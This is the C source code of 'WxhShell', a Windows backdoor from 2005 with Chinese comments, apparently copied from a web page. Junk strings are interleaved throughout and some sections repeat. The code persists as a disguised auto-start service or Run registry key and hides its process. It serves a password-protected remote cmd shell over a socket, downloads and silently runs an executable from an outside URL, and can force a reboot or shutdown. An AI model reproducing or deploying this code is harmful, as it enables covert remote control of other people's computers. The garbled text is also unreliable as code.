cWl)ZE<hM g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (XJehdB0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I?v)>||Q XnQd(B`M if (!NtQueryInformationProcess) return 0; Bo?uwi CJ_X:Frj) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~4[2{M.0>@ if(!hProcess) return 0; X6~y+R mD:d,,~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :4h4vp< R0;c'W) CloseHandle(hProcess); a}a_&rf~Z Eo\#*Cv* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xDu11W+g if(hProcess==NULL) return 0; f)q\RJA)X =y8HOT}8 HMODULE hMod; EH"iK2n\9 char procName[255]; pvTV* unsigned long cbNeeded; #lQbMuR lph3"a^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %5*gsgeI ](NSpU|* CloseHandle(hProcess); :tM|$TZ Z!C\n[R/ if(strstr(procName,"services")) return 1; // 以服务启动 -Q;5A;sr2 _> .TB\ return 0; // 注册表启动 N~ljU;wo-9 } Qp<?[C}'W TH/!z,(> // 主模块 &-+qB
>SK> int StartWxhshell(LPSTR lpCmdLine) 4hztYOhJ{ { epm
t SOCKET wsl; R! ?8F4G BOOL val=TRUE; 0\wMlV`F int port=0; kf0zL3| struct sockaddr_in door; E=w $r C/e`O|G if(wscfg.ws_autoins) Install(); ;u,%an<( |hehROUn port=atoi(lpCmdLine); "OFYVK\]i C ^Tc9 if(port<=0) port=wscfg.ws_port; \SnW(,`o X 3mZX@h@ WSADATA data; O{&5 /xBA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %,MCnu&Z 4pkc9\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /^qCJp` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); skdSK7 n door.sin_family = AF_INET; pq*b"Jku1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); fu9y3` door.sin_port = htons(port); !
2"zz/N{ b,7:=-D if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jgYUS@} closesocket(wsl); p*W4^2(d return 1; 5JDqSz{ } =ALy.^J= ][ :6En} if(listen(wsl,2) == INVALID_SOCKET) { _x z_D12 closesocket(wsl); E3.=|]W' return 1; JJ,Fh
. } eGvHU ;@ Wxhshell(wsl); 9#/z[! WSACleanup(); <!K2xb-d^
b`E0tZcJ return 0; gPe*M =iF 0gHJ%m9s } w@.E}%bwq ):&A\nb // 以NT服务方式启动 I'BoP VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2j H` { 8;p6~&).C~ DWORD status = 0; uwQ{y>SG DWORD specificError = 0xfffffff; !li Q;R& O~9
%!LAu serviceStatus.dwServiceType = SERVICE_WIN32; 6YrkS;_HS serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6*kY7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W DY,? serviceStatus.dwWin32ExitCode = 0; ;:cU /{W serviceStatus.dwServiceSpecificExitCode = 0; ,\[&%ph serviceStatus.dwCheckPoint = 0; 4eYj.=I serviceStatus.dwWaitHint = 0; R8Lp8!F' iYHD:cg)~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =bZ>>-< if (hServiceStatusHandle==0) return; `f*?|) 2y#4rl1Utx status = GetLastError(); C#p$YQf if (status!=NO_ERROR) N+b"LZc { :doP66["! serviceStatus.dwCurrentState = SERVICE_STOPPED; sBu=@8R]y serviceStatus.dwCheckPoint = 0; mR[J Xh9s serviceStatus.dwWaitHint = 0; ?nB).fc serviceStatus.dwWin32ExitCode = status; ep3_G\m serviceStatus.dwServiceSpecificExitCode = specificError; !s?vj
< SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7
6}6G% return; nBaY| } q*@7A6:FV> 5IBe;o serviceStatus.dwCurrentState = SERVICE_RUNNING; E0>4Q\n{ serviceStatus.dwCheckPoint = 0; @;fdf 3ian serviceStatus.dwWaitHint = 0; ov#/v\|0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4cr
>sz } W4QVWn %3 =!9+f // 处理NT服务事件,比如:启动、停止 }a"T7y23 VOID WINAPI NTServiceHandler(DWORD fdwControl) 0D/j2cT("k { k:Uyez switch(fdwControl) p44d&9 { 6fY(u7m|p case SERVICE_CONTROL_STOP: aoco'BR F serviceStatus.dwWin32ExitCode = 0; \5k[ "8~ serviceStatus.dwCurrentState = SERVICE_STOPPED; hBLJKSv serviceStatus.dwCheckPoint = 0; ,78QLh9: serviceStatus.dwWaitHint = 0; my[)/' { niFX8%<hP SetServiceStatus(hServiceStatusHandle, &serviceStatus); UALwr>+VJ } WA8Qt\Q return; (".`#909 case SERVICE_CONTROL_PAUSE: /+"BU-aQk serviceStatus.dwCurrentState = SERVICE_PAUSED; >wdR4!x!? break; ]b.@i&M case SERVICE_CONTROL_CONTINUE: #|GP]`YT serviceStatus.dwCurrentState = SERVICE_RUNNING; z~A||@4' break; <!Nj2> case SERVICE_CONTROL_INTERROGATE: rV"<1y:g break; 7X2g"2\Wm }; ;q6:*H/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2l{g$44 } "T<Q#^m 9vmH$ // 标准应用程序主函数 uz&CUvos int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R6h(mPYA { 8PDt 7
\ O!hg@[\B+ // 获取操作系统版本 p` B48TW OsIsNt=GetOsVer(); 'vhgR2/ GetModuleFileName(NULL,ExeFile,MAX_PATH); Ua,Lg.z ]B:g<}5$4 // 从命令行安装 p;"pTGoWi if(strpbrk(lpCmdLine,"iI")) Install(); E&#AX: vy,ER< // 下载执行文件 iPa!pg4m if(wscfg.ws_downexe) { 8 %Lq~lk if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
*"P
:ySA WinExec(wscfg.ws_filenam,SW_HIDE); \Bw9%P~ G } %njX'7^u uPsn~>(4 if(!OsIsNt) { WT;=K0W6& // 如果时win9x,隐藏进程并且设置为注册表启动 u!k\W{ HideProc(); S3MMyS8 StartWxhshell(lpCmdLine); G{knO?BK } KY! else sI@m"A if(StartFromService())
ZQD_w#0j // 以服务方式启动 }wC
pr.@ StartServiceCtrlDispatcher(DispatchTable); T3@wNAAU else w[uK3A v // 普通方式启动 YS{])+s StartWxhshell(lpCmdLine); fk5!/>X R KFz6t return 0; W7WHH \L/O } oR[,?qu@f ipQJn_:2 #y&3`N z3 j_L 'Ztu3 =========================================== ?NGM<nK;7 hW~,Uqy 8ysU.5S =IkQ;L& \'q-Xr'}M `5r*4N< " Q|@!zMy %+L:Gm+^g# #include <stdio.h> f h)Cz) #include <string.h> 2ELw}9 #include <windows.h> 2_x}wB0P #include <winsock2.h> _ ;O$ot\5 #include <winsvc.h> /j0<x^m/ #include <urlmon.h> %DqF_4U 9 A@Z&ZBDg #pragma comment (lib, "Ws2_32.lib") y5kqnibh@ #pragma comment (lib, "urlmon.lib") czi$&(N0w$ %ErLL@e #define MAX_USER 100 // 最大客户端连接数 -n?|,cO #define BUF_SOCK 200 // sock buffer qx18A #define KEY_BUFF 255 // 输入 buffer 8+k\0fmy !l?Go<^*L #define REBOOT 0 // 重启 Op" \i #define SHUTDOWN 1 // 关机 [D[s^<RJs h1z[ElEeoP #define DEF_PORT 5000 // 监听端口 nC$f0r"z xlp^XT6# #define REG_LEN 16 // 注册表键长度 ]!d #2( #define SVC_LEN 80 // NT服务名长度 MOP/ q4j[ 'VS!< // 从dll定义API W#P)v{K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ``nuw7\C: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); beRpA; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 94=Wy- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zy(sekX; k:Da+w_'1 // wxhshell配置信息 5n"b$hMF struct WSCFG { 89v9BWF int ws_port; // 监听端口 DxdiXf[j char ws_passstr[REG_LEN]; // 口令 6H+gFXIv int ws_autoins; // 安装标记, 1=yes 0=no b] DF7 U char ws_regname[REG_LEN]; // 注册表键名 %`F6>J char ws_svcname[REG_LEN]; // 服务名 ()6(eRGJ char ws_svcdisp[SVC_LEN]; // 服务显示名 b6RuYwHWV0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 {VE\}zKF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #Q.A)5_ int ws_downexe; // 下载执行标记, 1=yes 0=no y#F( xm+L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -8- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %E}f7GT4 ]OL
O~2j }; 7<*sP%6bD <.HX_z3l // default Wxhshell configuration m=j xTZK struct WSCFG wscfg={DEF_PORT, z4!TK ps "xuhuanlingzhe", ?x7zYE,6 1, @]uvpI!h "Wxhshell", gXZC%S "Wxhshell", o9(:m "WxhShell Service", '`p#%I@ "Wrsky Windows CmdShell Service", x9 bfH1 "Please Input Your Password: ", St7ZyN1 1, $ jWe!]ASU "http://www.wrsky.com/wxhshell.exe", 8)\TdtBf9 "Wxhshell.exe" *v
1hMk }; u27K
0} +)k%jIi! // 消息定义模块 =e=sK'NvD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3.Z}2F] char *msg_ws_prompt="\n\r? for help\n\r#>"; @d:TAwOI' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #!wu}nDu char *msg_ws_ext="\n\rExit."; z$ZG`v>0 char *msg_ws_end="\n\rQuit."; ~2+J]8@I] char *msg_ws_boot="\n\rReboot..."; {U?/u93~
char *msg_ws_poff="\n\rShutdown..."; hm*1w6 = char *msg_ws_down="\n\rSave to "; bW\OKI1 (S$ziV char *msg_ws_err="\n\rErr!"; rV*9= char *msg_ws_ok="\n\rOK!"; 8fRk8 rJH u~/_Dq char ExeFile[MAX_PATH]; u&z5)iU int nUser = 0; 3B8\r}L HANDLE handles[MAX_USER]; ]&w8"q int OsIsNt; HR]*75}e \B/+.\ SERVICE_STATUS serviceStatus; lqh+yX%*
SERVICE_STATUS_HANDLE hServiceStatusHandle; *`&4<>=n 7TD%vhbiwi // 函数声明 z2*>5c% int Install(void); i}"Eu<
P int Uninstall(void); 1O3"W;SR<: int DownloadFile(char *sURL, SOCKET wsh); _;/onM int Boot(int flag); LI1OocY.] void HideProc(void); i eQQ{iGJH int GetOsVer(void); 4WU%K`jnXb int Wxhshell(SOCKET wsl); UfIH!6Q void TalkWithClient(void *cs); D@A@5pvS int CmdShell(SOCKET sock); 70hm9b-
int StartFromService(void); VN6h:-&iY int StartWxhshell(LPSTR lpCmdLine); ,j\1UAa =$xxkc.~G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @'>h P VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^h
#0e:7< 7%DA0.g // 数据结构和表定义 Q{-T;T SERVICE_TABLE_ENTRY DispatchTable[] = *gF8"0s { O(q1R#n-}+ {wscfg.ws_svcname, NTServiceMain}, ZmU7 tK {NULL, NULL} uv,&/,;S }; TK^9!3 :'p+Ql~c // 自我安装 !o +[L int Install(void) 6/e+=W2 { zr#n^?m char svExeFile[MAX_PATH]; 6?8x[l*5M HKEY key; {[&$W8Li strcpy(svExeFile,ExeFile); s[6y|{&ze v3>jXf // 如果是win9x系统,修改注册表设为自启动 -=5]B ; if(!OsIsNt) { 1?+%*uoPX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #fdQ\)#q> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o^HzE;L} RegCloseKey(key); _UU- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T7+_/
Qh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t$+[(}@+ RegCloseKey(key); Q|T9tc-> return 0; /A$mP)}tz } 93I.Wp_{ } >Z%qkU/ } EhJpJb[Z else { -aj) _.d ]1YyP // 如果是NT以上系统,安装为系统服务 fbv%&z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \ k&(D*u if (schSCManager!=0) o +-G@16 { >Vp# SC_HANDLE schService = CreateService ~t0\Q; @($ ( * F[;D7sZ~ schSCManager, 3pQ^vbQ" wscfg.ws_svcname, y?Vsp< wscfg.ws_svcdisp, 1=NP=ZB SERVICE_ALL_ACCESS, JSKAlw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +E5EOo{ `| SERVICE_AUTO_START, W[ZW=c SERVICE_ERROR_NORMAL, 2g'o5B\* svExeFile, Mzfuthq=@ NULL, )Pj8{.t4 NULL, AE?G+:B NULL, $/R r|< NULL, L`"B;a& NULL aJ;6!WFW ); 1uz7E if (schService!=0) EGD&/%aC { tZ4Zj`x|^ CloseServiceHandle(schService); Wbra*LNU CloseServiceHandle(schSCManager); bIs@CDB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y*6-?@ strcat(svExeFile,wscfg.ws_svcname); *.g@6IkAQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %p wpRD@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QVEGd"WvvO RegCloseKey(key); (}^Qo^Vr return 0; 8y$c\Eu(mF } xNLvK:@0p } IgxZ_2hO CloseServiceHandle(schSCManager); (A<'{J#5, } 9pY`_lxa> } -h n~-Sy+ ~]Md*F[4*e return 1; RlW7l1h& } A~Uqw8n$\ i7 *cpNPO // 自我卸载 +0&SXhy%y int Uninstall(void) '5V#sq;Z { m`3Mev HKEY key; g#Doed.30= (=de#wh2] if(!OsIsNt) { 6<%W8m\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e
9p + RegDeleteValue(key,wscfg.ws_regname); t93iU?Z RegCloseKey(key); wfE%` 1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;8VvpO^G/ RegDeleteValue(key,wscfg.ws_regname); P R{y84$ RegCloseKey(key); 3jaY\(`%h return 0; WZ#|?pJ } 6X1_NbC } d|~A>YZ } k~P{Rm;F else { ~C;1}P%9x %b)~K|NEFf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W5#5RK"uX if (schSCManager!=0) ga#Yd}G^~3 { O7KR~d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c"<bq}L7S if (schService!=0) v<2B^(i}VB { "?[7oI}c& if(DeleteService(schService)!=0) { $hCPmiI CloseServiceHandle(schService); >WKlR` J% CloseServiceHandle(schSCManager); (l~3~n return 0; BUp,bJpO } @['4 X1pqt CloseServiceHandle(schService); q/|WkV `m } .*0`}H+_ CloseServiceHandle(schSCManager); XyM?Dc5, } +ISXyGu } `/1Zy}cD ^KK9T5H return 1; 8N58w)%7` } HDTdOG) g;M\4o // 从指定url下载文件 .W9/*cZV0 int DownloadFile(char *sURL, SOCKET wsh) DJm/:td { tG{? HRESULT hr; l:Y$A$W]> char seps[]= "/"; [;]@PKW?w char *token; JN{xh0* char *file; _tGR:E char myURL[MAX_PATH]; e 1k\:]6 char myFILE[MAX_PATH]; $S|2'jc 8/4Gr8o strcpy(myURL,sURL); wG&+*,} token=strtok(myURL,seps); HOb-q|w while(token!=NULL) H=7z d|W { o`@B*, @ file=token; JW5SBt> token=strtok(NULL,seps); w|1Gb[ } .QhH!#Y2D !iOuIYjV GetCurrentDirectory(MAX_PATH,myFILE); V
r0-/T strcat(myFILE, "\\"); D(GAC!|/] strcat(myFILE, file); r7I,%}k send(wsh,myFILE,strlen(myFILE),0); j&S8x|5 send(wsh,"...",3,0); 4't@i1Ll( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yL&_>cV if(hr==S_OK) E9Q?@' h return 0; ;-G!jWt6Zi else 7 %P?3 return 1; ]/d4o ,8F?v~C } >%"Q]p R.g'&_zx
// 系统电源模块 kRk=8^."By int Boot(int flag) zn4Yo { 10/N-=NG18 HANDLE hToken; FC= %_y TOKEN_PRIVILEGES tkp; n.m6n*sf7 G0^O7w^5 if(OsIsNt) { MRB>(} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +njE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oadlyqlw# tkp.PrivilegeCount = 1; =](c7HEQf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TwZvz[u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qdn\8Pn if(flag==REBOOT) { dwc$?Bg,5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YLlw:jN return 0; vWJhSpC[ } 5T[9|zJs else { 328(W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ':7%@2Zo return 0; `TkIyGr } x*#F|N4~', } ?-F SDNQ else { ]`D(/l' if(flag==REBOOT) { ^}2 ie| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qa,^;hZWS return 0; lPS A } t9&z|?Vz else { E(T6s^8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xNNoB/DR return 0; uTRa]D_q } M} IRagm } 6'Sc=;;: Po[u6K2& return 1; }lgqRg)F9[ } X$O,L[] 4 6,'!z
?d% // win9x进程隐藏模块 }9=\#Le~\ void HideProc(void) O_f|R1G5z { /$hfd?L 9 Byk/&$U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z`xz |:D+ if ( hKernel != NULL ) PL8{|Q { F}Bc +i#] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iSxxy1R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tR5zlm(} FreeLibrary(hKernel); TJ9,c2d+ } _%s _w) B{ NKDkDH return; FhB^E$r% } ]xfAdBi s,^?|Eo;0 // 获取操作系统版本 O0xL;@rBe int GetOsVer(void) SaEe7eHd { 's$pr#V OSVERSIONINFO winfo; SVp]}!jI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0k5Zl? GetVersionEx(&winfo); xPh%?j?*v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 66=6;77 return 1; E{r_CR+8 else ,_T,B'a: return 0; A.vcE } {KL<Hx2M FTt7o'U // 客户端句柄模块 J`O4]XRY int Wxhshell(SOCKET wsl) 1!\!3xa V { xIF
z@9+k SOCKET wsh; RlX;c!K struct sockaddr_in client; jh]wHG DWORD myID; ',0~ \V vjJ!d#8 while(nUser<MAX_USER) Cc]s94 { #;H,`r int nSize=sizeof(client); QB@qzgEJ!, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f?F
i{m if(wsh==INVALID_SOCKET) return 1; 8'*z>1ZS5 Z`"UT#^SI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,ewg3mYHC& if(handles[nUser]==0) G=3/PYp closesocket(wsh); H/Goaf% else t1B0M4x9 nUser++; <uL?7P } 'oTcx Jx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NV;5T3 ywk; return 0; z$-/yT"M } ,I=ClmR $X9Ban] // 关闭 socket B>o\;) l3O void CloseIt(SOCKET wsh) vD) LRO
Z { v%&f00 closesocket(wsh); 1q~U3'l:$ nUser--; !j4C:L3F ExitThread(0); "JVzv U] } 5%?La`C9[ P,iLqat // 客户端请求句柄 )X\.Xr-6q void TalkWithClient(void *cs) *@G4i { 5G){7]P+r" *^c4q|G.- SOCKET wsh=(SOCKET)cs; v! @/ char pwd[SVC_LEN]; /^uvY char cmd[KEY_BUFF]; N jq#@*>[p char chr[1]; 2O9dU 5b int i,j; R^](X* \\hZlCV, while (nUser < MAX_USER) { M)EKS =Mn![ if(wscfg.ws_passstr) { z}C#+VhQ` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 35RH|ci& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfR, m] //ZeroMemory(pwd,KEY_BUFF); 8+gx?pb i=0; 'xStA while(i<SVC_LEN) { =]xNpX) .1I];Cy0D // 设置超时 r'&9'rir2 fd_set FdRead; }jiqUBn% struct timeval TimeOut; ADv
a@P FD_ZERO(&FdRead); 6{azzk8 FD_SET(wsh,&FdRead);
UUb!2sO TimeOut.tv_sec=8; S;ulJ*qv TimeOut.tv_usec=0; #A]7cMZ'W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bdaZ{5^{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gSR&CnqZ< dhK$XG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a4`@z:l pwd=chr[0]; 7R))(- if(chr[0]==0xd || chr[0]==0xa) { bvG").8$ pwd=0; &v4w3'@1 break; #yr19i ? } $o]zNW;X i++; ;S`N q%, } CM5A-R90 IH~H6US // 如果是非法用户,关闭 socket 2z0HB+Y}x if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (m04Z2# } mZ/B:)_ jcq(=7j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :jp?FF^j; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?783LBe hD>:WJ while(1) { wmo'Pl QV .A.DK ZeroMemory(cmd,KEY_BUFF); &@+K%qW[e bk6$+T=> // 自动支持客户端 telnet标准 ^Y'J0v2 j=0; RX2=
iO" while(j<KEY_BUFF) { "bf8[D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n+Ag |.,| cmd[j]=chr[0]; Z7.)[
; if(chr[0]==0xa || chr[0]==0xd) { R@VO3zs W cmd[j]=0; 8!UZ.. break; z%Z}vWn } 4`8.\ j++; ]NFDE-Jz] }
Gzp)OHgJ M\v4{\2l0
// 下载文件 /$eEj if(strstr(cmd,"http://")) { E0O{5YF^T send(wsh,msg_ws_down,strlen(msg_ws_down),0); FJ U)AjS~ if(DownloadFile(cmd,wsh)) ^w&TTo( send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7.q[ ^oF else akCl05YW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M;iaNL( } --^D)n else { ItaJgtsV B:mlBSH switch(cmd[0]) { .9^;? Ts 'h=
>ej* // 帮助 q!ZmF1sU case '?': { ]#:xl}'LS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w
x,; break; 1|.
0]~0 } +z[!]^H]4 // 安装 .<NXk"\!y case 'i': { qFs<s<] if(Install()) =~0XdS/1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YD+C1*c! else O,OGq0c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ThzLk#m break; bs`/k&' } wcL0#[) // 卸载 A.h?#%TLL case 'r': { Xj@Kt|&`k if(Uninstall()) =0f8W=d:Vr send(wsh,msg_ws_err,strlen(msg_ws_err),0); {a_L
/"7 else ):|)/ZiC' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Jr<gn^D break; /N^+a-.Qd } zp9 ?Ia // 显示 wxhshell 所在路径 o>*{5>#k' case 'p': { Q-au)R, char svExeFile[MAX_PATH]; -[`W m7en strcpy(svExeFile,"\n\r"); 5:PZ=jPR strcat(svExeFile,ExeFile); B}FF |0< send(wsh,svExeFile,strlen(svExeFile),0); z::2O/ho break; s24H.>Z } C {,d4KG // 重启 (i?^g & case 'b': { 6h,'#|:d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #[xNEC) if(Boot(REBOOT)) Z*QRdB%, send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^NV e40O else { (\I =v". closesocket(wsh); }I10hy~W ExitThread(0); qB:`tHy } 'H9~rq7 break; :Aa^afjJw } lxz %bC@ // 关机 e5/_Vga case 'd': { .o8Gi*PEY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ri^yal<' if(Boot(SHUTDOWN)) n$?oZ*; send(wsh,msg_ws_err,strlen(msg_ws_err),0); }rQ*!2Y? else { G`P+J closesocket(wsh); 0x &^{P~ ExitThread(0); 'oEmbk8Hg } $+);!?^|: break; >@%!r } 950b9Vn& // 获取shell `^}9= Q'r case 's': { tp]|/cx4 CmdShell(wsh); =@z"k'Vl` closesocket(wsh); pqr"x2=. ExitThread(0); a&[n Vu+ break; BY d3 rI } onlyvH4 // 退出 /PCQv_Y&,/ case 'x': { yh)q96m-V= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o&O!Ur CloseIt(wsh); **"P A8 break; @hvq,[ } w&gHmi // 离开 ;uDFd04w
[ case 'q': { +W1rm$Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); k8JPu"R closesocket(wsh); 9x1Dyz 2?F WSACleanup(); Z4!3I@yZ exit(1); H:_`]X" break; O(d'8`8 } k$>T(smh } !v`=EF. } U_~~PCi f,#xicSB* // 提示信息 neBkwXF! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;:4puv+] } '$zFGq
}} } pDLo`F}A @RP|?Xc{? return; J\*d4I<(Rt } |H4'*NP" }VGiT~2$ // shell模块句柄 Uww^Sq int CmdShell(SOCKET sock)
_6' g]4 { b+hY^$// STARTUPINFO si; .<B1i ZeroMemory(&si,sizeof(si)); WToAT;d2h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]*|K8&jxl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8f.La PROCESS_INFORMATION ProcessInfo; ?1uAY.~ZZB char cmdline[]="cmd"; O2e"TH3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V("1\ return 0; _biJch } D/WS {JgN^R<5<f // 自身启动模式 'w2;oO int StartFromService(void) &}cie"\L { DbN'b(+ typedef struct (AYD@ { 4=Ey\Px DWORD ExitStatus; 1|VJN D DWORD PebBaseAddress; H.L@]~AyL DWORD AffinityMask; `{Jb{L@f DWORD BasePriority; 0FOf *Lz ULONG UniqueProcessId; $#r(1 Ev ULONG InheritedFromUniqueProcessId; 1N+#(<x@, } PROCESS_BASIC_INFORMATION; ^n/uY94E)p =+p+_}C PROCNTQSIP NtQueryInformationProcess; BR2y1Hfi J.nq[/Q= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q~n2VU4L* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q\76jD`m\ iIFQRnpu;3 HANDLE hProcess; <B`V PROCESS_BASIC_INFORMATION pbi; 4lA+V,# ShpnFuH HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lI 1lP 1 if(NULL == hInst ) return 0; lNb\^b
={^#E? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oK6lCGM5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |BW,pT NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S2)S/ nf _ LNPB$P if (!NtQueryInformationProcess) return 0; 7;NV
1RV ^&iV |